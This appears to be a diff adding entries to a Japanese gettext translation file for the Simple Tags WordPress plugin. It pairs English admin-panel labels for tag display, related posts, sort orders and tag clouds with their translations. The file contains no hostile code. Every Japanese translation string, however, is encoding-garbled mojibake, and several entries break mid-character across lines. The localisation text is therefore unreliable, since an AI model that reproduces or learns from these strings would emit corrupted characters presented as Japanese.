+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:313
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:334
+msgid "Always add these keywords:"
+msgstr "æ¬¡ã®ã­ãŒã¯ãŒããåžžã«è¿œå ãã:"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:314
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:335
+msgid "Max keywords display:"
+msgstr "ã¡ã¿ã­ãŒã¯ãŒãã®è¡šç€º:"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:315
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:336
+msgid "You must set zero (0) for display all keywords in HTML header."
+msgstr "HTML ããããŒã«ãã¹ãŠã®ã­ãŒã¯ãŒããè¡šç€ºããã«ã¯ãŒã­ (0) ãå
+¥åããŸãã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:318
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:339
+msgid "Use embedded tags:"
+msgstr "åãèŸŒã¿ã¿ã°ãäœ¿çšãã:"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:319
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:340
+msgid "Enabling this will allow Wordpress to look for embedded tags when saving and displaying posts. Such set of tags is marked <code>[tags]like this, and this[/tags]</code>, and is added to the post when the post is saved, but does not display on the post."
+msgstr "ãã®æ©èœãæå¹ã«ãããšãæçš¿ã®ä¿å­ãšè¡šç€ºæã« WordPress ãåãèŸŒã¿ã¿ã°ãæ¢ããŸããåãèŸŒã¿ã¿ã°ã¯ <code>[tags]å¯å£«å±±[/tags]</code> ã®ããã«ããŒã¯ããŸãããã®åãèŸŒã¿ã¿ã°ã¯æçš¿ä¿å­æã«ã¿ã°ãšããŠæçš¿ã«è¿œå ãããŸãããæçš¿å
+ã«ã¯è¡šç€ºãããŸããã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:320
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:341
+msgid "Prefix for embedded tags:"
+msgstr "åãèŸŒã¿ã¿ã°ã®æ¥é ­èª:"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:321
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:342
+msgid "Suffix for embedded tags:"
+msgstr "åãèŸŒã¿ã¿ã°ã®æ¥å°Ÿèª:"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:324
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:345
+msgid "Automatically display tags list into feeds"
+msgstr "ãã£ãŒãã«ã¿ã°ãªã¹ããèªåçã«è¡šç€ºãã:"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:325
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:346
+msgid "Automatically display tags list into post content:"
+msgstr "æçš¿å
+ã«ã¿ã°ãªã¹ããèªåçã«è¡šç€ºãã:"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:327
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:351
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:348
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:372
+msgid "<code>no</code> &ndash; Nowhere (default)"
+msgstr "<code>no</code> &ndash; è¡šç€ºããŸãã (ããã©ã«ã)"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:328
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:352
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:349
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:373
+msgid "<code>all</code> &ndash; On your blog and feeds."
+msgstr "<code>all</code> &ndash; ãã­ã°ãšãã£ãŒãã®äž¡æ¹ã«è¡šç€ºããŸã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:329
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:353
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:350
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:374
+msgid "<code>blogonly</code> &ndash; Only on your blog."
+msgstr "<code>blogonly</code> &ndash; ãã­ã°äžã®ã¿è¡šç€ºããŸã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:330
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:354
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:351
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:375
+msgid "<code>homeonly</code> &ndash; Only on your home page."
+msgstr "<code>homeonly</code> &ndash; ãããããŒãžã®ã¿è¡šç€ºããŸã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:331
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:355
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:352
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:376
+msgid "<code>singularonly</code> &ndash; Only on your singular view (single & page)."
+msgstr "<code>singularonly</code> &ndash; åäžè¡šç€ºæã®ã¿è¡šç€ºããŸã (äžã€ã®æçš¿è¡šç€ºãããŒãžã®è¡šç€ºæ)"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:332
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:356
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:353
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:377
+msgid "<code>singleonly</code> &ndash; Only on your single view."
+msgstr "<code>singleonly</code> &ndash; åäžè¡šç€ºæã®ã¿è¡šç€ºããŸã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:333
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:357
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:354
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:378
+msgid "<code>pageonly</code> &ndash; Only on your page view."
+msgstr "<code>pageonly</code> &ndash; ããŒãžé²èŠ§æã®ã¿è¡šç€ºããŸã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:335
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:356
+msgid "Post tag separator string:"
+msgstr "ã¿ã°ã®ã»ãã¬ãŒã¿æå­:"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:336
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:357
+msgid "Text to display before tags list:"
+msgstr "ã¿ã°ãªã¹ãã®åã«è¡šç€ºãããã­ã¹ã:"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:337
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:358
+msgid "Text to display after tags list:"
+msgstr "ã¿ã°ãªã¹ãã®åŸãã«è¡šç€ºãããã­ã¹ã:"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:338
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:359
+msgid "Max tags display:"
+msgstr "ã¿ã°ã®æå€§è¡šç€ºæ°:"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:339
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:360
+msgid "You must set zero (0) for display all tags."
+msgstr "ãã¹ãŠã®ã¿ã°ãè¡šç€ºããã«ã¯ãŒã­ (0) ãå
+¥åããŸãã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:340
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:361
+msgid "Include categories in result ?"
+msgstr "ã«ããŽãªãŒãå«ããŸãã ?"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:341
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:448
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:362
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:469
+msgid "Tag link format:"
+msgstr "ã¿ã°ãªã³ã¯ã®ãã©ãŒããã:"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:342
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:370
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:398
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:416
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:449
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:363
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:391
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:419
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:437
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:470
+msgid "You can find markers and explanations <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">in the online documentation.</a>"
+msgstr "ããŒã«ãŒãè§£èª¬ã«ã€ããŠã¯ <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">ãªã³ã©ã€ã³ãã­ã¥ã¡ã³ã</a>ãåç
+§ããŠãã ãã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:343
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:364
+msgid "Text to display if no tags found:"
+msgstr "ã¿ã°ãç¡ãå Žåã«è¡šç€ºãããã­ã¹ã:"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:344
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:374
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:403
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:461
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:365
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:395
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:424
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:482
+msgid "<strong>Advanced usage</strong>:"
+msgstr "<strong>è©³çŽ°å©çš</strong>:"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:345
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:366
+msgid "You can use the same syntax as <code>st_the_tags()</code> function to customize display. See <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">documentation</a> for more details."
+msgstr "<code>st_the_tags()</code> é¢æ°ãšåãã·ã³ã¿ãã¯ã¹ãäœ¿çšããŠè¡šç€ºãã«ã¹ã¿ãã€ãºã§ããŸããè©³ããã¯ <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">ãã­ã¥ã¡ã³ããŒã·ã§ã³</a> ãåç
+§ããŠãã ããã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:348
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:369
+msgid "Automatically display related posts into feeds"
+msgstr "ãã£ãŒãã«é¢é£æçš¿ãèªåçã«è¡šç€ºãã:"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:349
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:370
+msgid "Automatically display related posts into post content"
+msgstr "æçš¿å
+ã«é¢é£æçš¿ãèªåçã«è¡šç€ºãã:"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:359
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:380
+msgid "Related Posts Order:"
+msgstr "é¢é£æçš¿ã®è¡šç€ºé :"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:361
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:382
+msgid "<code>date-asc</code> &ndash; Older Entries."
+msgstr "<code>date-asc</code> &ndash; å€ãæçš¿é "
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:362
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:383
+msgid "<code>date-desc</code> &ndash; Newer Entries."
+msgstr "<code>date-desc</code> &ndash; æ°ããæçš¿é "
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:363
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:384
+msgid "<code>count-asc</code> &ndash; Least common tags between posts"
+msgstr "<code>count-asc</code> &ndash; æçš¿ã«äœ¿çšãããŠããªããé "
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:364
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:385
+msgid "<code>count-desc</code> &ndash; Most common tags between posts (default)"
+msgstr "<code>count-desc</code> &ndash; æçš¿ã«äœ¿çšãããŠããé  (ããã©ã«ã)"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:365
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:383
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:430
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:438
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:386
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:404
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:451
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:459
+msgid "<code>name-asc</code> &ndash; Alphabetical."
+msgstr "<code>name-asc</code> &ndash; ã¢ã«ãã¡ãããé "
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:366
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:384
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:431
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:439
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:387
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:405
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:452
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:460
+msgid "<code>name-desc</code> &ndash; Inverse Alphabetical."
+msgstr "<code>name-desc</code> &ndash; ã¢ã«ãã¡ãããéé "
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:367
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:385
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:432
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:388
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:406
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:453
+msgid "<code>random</code> &ndash; Random."
+msgstr "<code>random</code> &ndash; ã©ã³ãã "
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:369
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:390
+msgid "Post link format:"
+msgstr "é¢é£æçš¿ãªã³ã¯ã®ãã©ãŒããã:"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:371
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:392
+msgid "Maximum number of related posts to display: (default: 5)"
+msgstr "è¡šç€ºããé¢é£æçš¿ã®æå€§æ°: (ããã©ã«ã: 5)"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:372
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:393
+msgid "Enter the text to show when there is no related post:"
+msgstr "é¢é£æçš¿ãç¡ããšãã«è¡šç€ºãããã­ã¹ã:"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:373
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:402
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:452
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:394
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:423
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:473
+msgid "Enter the positioned title before the list, leave blank for no title:"
+msgstr "ãªã¹ãã®å (äž) ã«è¡šç€ºããã¿ã€ãã«:"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:375
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:396
+msgid "You can use the same syntax as <code>st_related_posts()</code>function to customize display. See <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">documentation</a> for more details."
+msgstr "<code>st_related_posts()</code> é¢æ°ãšåãã·ã³ã¿ãã¯ã¹ãäœ¿çšããŠè¡šç€ºãã«ã¹ã¿ãã€ãºã§ããŸããè©³ããã¯ <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">ãã­ã¥ã¡ã³ããŒã·ã§ã³</a> ãåç
+§ããŠãã ããã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:378
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:399
+msgid "Maximum number of related tags to display: (default: 5)"
+msgstr "è¡šç€ºããé¢é£ã¿ã°ã®æå€§æ°: (ããã©ã«ã: 5)"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:379
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:400
+msgid "Order related tags:"
+msgstr "é¢é£ã¿ã°ã®è¡šç€ºé :"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:381
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:428
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:436
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:402
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:449
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:457
+msgid "<code>count-asc</code> &ndash; Least used."
+msgstr "<code>count-asc</code> &ndash; äœ¿çšãããŠããªãé "
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:382
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:429
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:403
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:450
+msgid "<code>count-desc</code> &ndash; Most popular. (default)"
+msgstr "<code>count-desc</code> &ndash; äœ¿çšãããŠããé  (ããã©ã«ã)"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:387
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:408
+msgid "Related tags type format:"
+msgstr "é¢é£ã¿ã°ã®è¡šç€ºåœ¢åŒ:"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:389
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:409
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:445
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:410
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:430
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:466
+msgid "<code>list</code> &ndash; Display a formatted list (ul/li)."
+msgstr "<code>list</code> &ndash; ãã©ãŒãããããããªã¹ããè¡šç€ºããŸã (ul/li)ã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:390
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:410
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:446
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:411
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:431
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:467
+msgid "<code>flat</code> &ndash; Display inline (no list, just a div)"
+msgstr "<code>flat</code> &ndash; ã€ã³ã©ã€ã³è¡šç€º (ãªã¹ããªããdiv ã®ã¿)"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:392
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:413
+msgid "Method of tags intersections and unions used to build related tags link:"
+msgstr "é¢é£ã¿ã°ãªã³ã¯äœææã«äœ¿çšããã¿ã°ã®å
+±ééåãšåéåã®ã¡ãœãã:"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:394
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:415
+msgid "<code>OR</code> &ndash; Fetches posts with either the \"Tag1\" <strong>or</strong> the \"Tag2\" tag. (default)"
+msgstr "<code>OR</code> &ndash; \"Tag1\" <strong>ãããã¯</strong> \"Tag2\" ã®ã¿ã°ã®ã©ã¡ããã®ã¿ã°ãæã€æçš¿ãååŸããŸãã (ããã©ã«ã)"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:395
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:416
+msgid "<code>AND</code> &ndash; Fetches posts with both the \"Tag1\" <strong>and</strong> the \"Tag2\" tag."
+msgstr "<code>AND</code> &ndash; \"Tag1\" <strong>ãš</strong> \"Tag2\" ã¿ã°ã®äž¡æ¹ã®ã¿ã°ãæã€æçš¿ãååŸããŸãã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:397
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:418
+msgid "Related tags link format:"
+msgstr "é¢é£ã¿ã°ãªã³ã¯ã®ãã©ãŒããã:"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:399
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:420
+msgid "Related tags separator:"
+msgstr "é¢é£ã¿ã°ã®ã»ãã¬ãŒã¿æå­:"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:400
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:413
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:421
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:434
+msgid "Leave empty for list format."
+msgstr "ãªã¹ãè¡šç€ºã®å Žåã¯ç©ºçœã«ããŸãã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:401
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:422
+msgid "Enter the text to show when there is no related tags:"
+msgstr "é¢é£ã¿ã°ãç¡ããšãã«è¡šç€ºãããã­ã¹ã:"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:404
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:425
+msgid "You can use the same syntax as <code>st_related_tags()</code>function to customize display. See <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">documentation</a> for more details."
+msgstr "<code>st_related_tags()</code> é¢æ°ãšåãã·ã³ã¿ãã¯ã¹ãäœ¿çšããŠè¡šç€ºãã«ã¹ã¿ãã€ãºã§ããŸããè©³ããã¯ <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">ãã­ã¥ã¡ã³ããŒã·ã§ã³</a> ãåç
+§ããŠãã ããã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:406
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:427
+msgid "Remove related Tags"
+msgstr "é¢é£ã¿ã°é€å»"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:407
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:428
+msgid "Remove related Tags type format:"
+msgstr "é¢é£ã¿ã°é€å»ã¿ã€ãã®ãã©ãŒããã:"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:412
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:433
+msgid "Remove related tags separator:"
+msgstr "é¢é£ã¿ã°é€å»ã®ã»ãã¬ãŒã¿æå­:"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:414
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:435
+msgid "Enter the text to show when there is no remove related tags:"
+msgstr "é¢é£ã¿ã°é€å»ãç¡ããšãã«è¡šç€ºãããã­ã¹ããå
+¥åããŠãã ãã:"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:415
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:436
+msgid "Remove related tags  link format:"
+msgstr "é¢é£ã¿ã°é€å»ãªã³ã¯ã®ãã©ãŒããã:"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:419
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:440
+msgid "Which difference between <strong>&#8216;Order tags selection&#8217;</strong> and <strong>&#8216;Order tags display&#8217;</strong> ?<br />"
+msgstr "<strong>&#8216;ã¿ã°ã®éžæé &#8217;</strong> ãš <strong>&#8216;ã¿ã°ã®è¡šç€ºé &#8217;</strong> ã®éãã¯ ?<br />"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:421
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:442
+msgid "<strong>&#8216;Order tags selection&#8217;</strong> is the first step during tag's cloud generation, corresponding to collect tags."
+msgstr "<strong>&#8216;ã¿ã°ã®éžæé &#8217;</strong> ã¯ã¿ã°ã¯ã©ãŠãçæã®æåã®ã¹ãããã§ãè¡šç€ºããã¿ã°ã®éžæåºæºãèš­å®ããŸãã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:422
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:443
+msgid "<strong>&#8216;Order tags display&#8217;</strong> is the second. Once tags choosen, you can reorder them before display."
+msgstr "<strong>&#8216;ã¿ã°ã®è¡šç€ºé &#8217;</strong> ã¯äºçªç®ã®ã¹ãããã§ãéžæãããã¿ã°ãäžŠã³æ¿ããŠè¡šç€ºããŸãã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:424
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:445
+msgid "<strong>Example:</strong> You want display randomly the 100 tags most popular.<br />"
+msgstr "<strong>äŸ:</strong> æãããäœ¿çšãããŠãã 100 åã®ã¿ã°ãã©ã³ãã ã«è¡šç€ºãããšããŸãã<br />"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:425
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:446
+msgid "You must set &#8216;Order tags selection&#8217; to <strong>count-desc</strong> for retrieve the 100 tags most popular and &#8216;Order tags display&#8217; to <strong>random</strong> for randomize cloud."
+msgstr "æãããäœ¿çšãããŠãã 100 åã®ã¿ã°ãååŸããããã&#8216;ã¿ã°ã®éžæé &#8217; ã§ <strong>count-desc</strong> ãèš­å®ããã©ã³ãã ãªã¯ã©ãŠããè¡šç€ºããããã&#8216;ã¿ã°ã®è¡šç€ºé &#8217; ã§ <strong>random</strong> ãèš­å®ããŸãã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:426
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:447
+msgid "Order tags selection:"
+msgstr "ã¿ã°ã®éžæé :"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:434
+#: WP.org\trunk/2.3/inc/simple-tags.widgets.php:167
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:455
+#: WP.org\trunk/2.5/inc/simple-tags.widgets.php:157
+msgid "Order tags display:"
+msgstr "ã¿ã°ã®è¡šç€ºé :"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:437
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:458
+msgid "<code>count-desc</code> &ndash; Most popular."
+msgstr "<code>count-desc</code> &ndash; äœ¿çšãããŠããé "
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:440
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:461
+msgid "<code>random</code> &ndash; Random. (default)"
+msgstr "<code>random</code> &ndash; ã©ã³ãã  (ããã©ã«ã)"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:442
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:463
+msgid "Include categories in tag cloud ?"
+msgstr "ã¿ã°ã¯ã©ãŠãã«ã«ããŽãªãŒãå«ããŸãã ?"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:443
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:464
+msgid "Tags cloud type format:"
+msgstr "ã¿ã°ã¯ã©ãŠãã®è¡šç€ºåœ¢åŒ:"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:450
